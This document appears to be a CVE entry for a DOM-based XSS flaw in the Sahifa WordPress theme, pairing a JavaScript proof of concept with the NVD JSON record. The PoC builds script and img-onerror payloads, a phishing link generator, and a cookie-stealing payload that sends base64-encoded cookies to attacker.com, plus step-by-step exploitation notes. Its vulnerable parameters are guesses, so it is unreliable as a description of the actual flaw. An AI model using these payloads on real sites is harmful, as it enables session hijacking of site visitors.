CVE-2025-64202

// CVE-2025-64202 PoC - DOM-based XSS in Sahifa WordPress Theme // Target: TieLabs Sahifa Theme < 5.8.6 // Malicious URL construction const maliciousPayload = '<script>alert(document.cookie)</script>'; const baseUrl = window.location.origin + '/wp-content/themes/sahifa/'; // Method 1: Direct URL parameter injection (if vulnerable parameter exists) const pocUrl1 = baseUrl + '?some_param=' + encodeURIComponent(maliciousPayload); // Method 2: Construct attack link for social engineering function generateAttackLink() { const targetSite = 'https://victim-site.com'; const maliciousPath = '/category/some-page/'; const xssPayload = '?search=<img src=x onerror=alert(document.domain)>'; return targetSite + maliciousPath + xssPayload; } // Method 3: Cookie stealing PoC const cookieStealPayload = `<script> fetch('https://attacker.com/log?cookie=' + btoa(document.cookie)); </script>`; console.log('PoC URL:', generateAttackLink()); console.log('Vulnerable versions: Sahifa < 5.8.6'); // Exploitation steps: // 1. Attacker crafts malicious URL with XSS payload // 2. Victim clicks link or visits page with injected script // 3. Browser executes malicious JS in victim's context // 4. Attacker steals session cookies or performs actions

{"cve": {"id": "CVE-2025-64202", "sourceIdentifier": "[email protected]", "published": "2025-10-29T09:15:40.623", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in TieLabs Sahifa sahifa allows DOM-Based XSS.This issue affects Sahifa: from n/a through < 5.8.6."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/sahifa/vulnerability/wordpress-sahifa-theme-5-8-6-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}